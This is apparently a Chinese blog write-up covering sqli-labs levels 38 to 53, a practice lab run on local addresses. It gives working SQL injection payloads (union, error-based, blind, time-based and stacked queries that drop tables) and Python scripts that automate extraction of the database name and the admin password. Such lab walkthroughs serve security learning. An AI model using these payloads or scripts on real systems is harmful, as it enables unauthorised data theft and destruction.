sqli-labs实战记录(三)

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011377996/article/details/82188358

Less-38

从这一关开始其实就是堆叠注入,就是用分号连接两个不同的语句,然后执行这几条语句,进行增删改查,但是比赛中是不大会用的,但是对于这几个环境我还是偏向union注入所以我还是以union注入的方式显示

换了mysqli的连接方式,但是换汤不换药
直接单引号闭合就好了

http://192.168.100.103/sqlilabs/Less-38/?id=-1' union select 1,database(),3%23

报错尝试一下

http://192.168.100.103/sqlilabs/Less-38/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)%23

Less-39

这个题直接注释掉后面的部分就好了

http://192.168.100.103/sqlilabs/Less-39/?id=-1 union select 1,database(),3%23

Less-40

普通的union注入就可以

http://192.168.100.103/sqlilabs/Less-40/?id=1234') union select 1,2,3%23

也可以尝试一下盲注

http://192.168.100.103/sqlilabs/Less-40/?id=1') and ascii(substr(database(),1,1))>114 %23

Less-41

union注入也可以,盲注也可以
union注入

http://192.168.100.103/sqlilabs/Less-41/?id=-1 union select 1,database(),3%23

盲注

http://192.168.100.105/sqlilabs/Less-41/?id=1 and ascii(substr(database(),1,1))>114 %23

Less-42

这个题目查看源码你会发现登陆页面的password是没有过滤好的,我么可以利用此处进行堆叠注入增加,我们可以利用这点直接删库

uname = 0ver
passwd = 123;drop table 0ver#

Less-43

跟上一题一样password没有过滤
只是查询的语句改变了,我么需要闭合括号

uname = 0ver
passwd = 123');drop table 0ver#

Less-44

跟上一题同样的思路,只是需要单引号闭合

uname = 0ver
passwd = 123';drop table 0ver#

Less-45

感觉跟43题没啥区别啊。。。

Less-46

从这一关开始正式进入order by注入
查看一下源码语句是这样的

$sql = "SELECT * FROM users ORDER BY $id";

order by利用的三种方式

1、直接添加注入语句 ?sort=(select ******)
2、利用一些函数,例如rand函数,?sort=rand(sql语句),而且此处rand(true)和rand(false)是不相同的。
3、利用and,例如?sort=1 and (加sql语句)

这一题目可以直借用报错注入

http://192.168.100.105/sqlilabs/Less-46/?sort=rand(updatexml(1,concat(0x7e,database(),0x7e),1))

也可以用盲注,利用表格最后一行去区分

import requests
import time

url = '''http://192.168.100.105/sqlilabs/Less-46/?sort=rand(ascii(substr((select database()),{_},1))>{__})
'''
database = ""

for i in range(1,9):
    Min = 67
    Max = 127
    while abs(Max-Min)>1:
        mid = (Min+Max)//2
        payload = url.format(_=i,__=mid)
        print payload
        ans = requests.get(payload)
        if '<td>superman</td><td>genious</td></tr></font></table>' in ans.content:
            Min = mid
        else:
            Max = mid
    database += chr(Max)
    print database

Less-47

这一次的order by注入需要闭合单引号
来个报错注入

http://192.168.100.105/sqlilabs/Less-47/?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)%23

Less-48

跟46题一样的盲注。

Less-49

一直在尝试下面这两句话,发现一直没效果,奇了怪,自我感觉没问题。。。。

http://localhost/sql/Less-49/?sort=1' and rand(ascii(substr((select database()),1,1))>127)%23
http://localhost/sql/Less-49/?sort=1' and ascii(substr((select database()),1,1))>1%23

再来尝试一下时间盲注

import requests
import time

url = '''http://192.168.100.105/sqlilabs/Less-49/?sort=1' and if(((ascii(substr((select password from users where username="admin"),{_},1)))={__}),sleep(4),false) --+'''
flag = ""

for i in range(1,9):
    for j in range(67,127):
        payload = url.format(_=i,__=j)
        try:
            requests.get(payload,timeout=3)
        except:
            flag += chr(j)
            print flag
            break

直接出来结果,这尼玛什么操作。。

Less-50

这可以直接报错注入

http://192.168.100.105/sqlilabs/Less-50?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

Less-51

单引号闭合报错注入

http://192.168.100.105/sqlilabs/Less-51?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)%23

Less-52

同样直接盲注或者时间盲注都行,不需要单引号闭合 没什么意义

Less-53

又是一道单引号闭合的题目,直接时间盲注就可以出来参考Less-49的脚本

小结

这一部分的题目让我了解到怎么对付order by注入,很有意义,个人最喜欢还是用rand函数的那种办法
但前面的堆叠注入就感觉意义不大。。。。

猜你喜欢

转载自blog.csdn.net/u011377996/article/details/82188358
今日推荐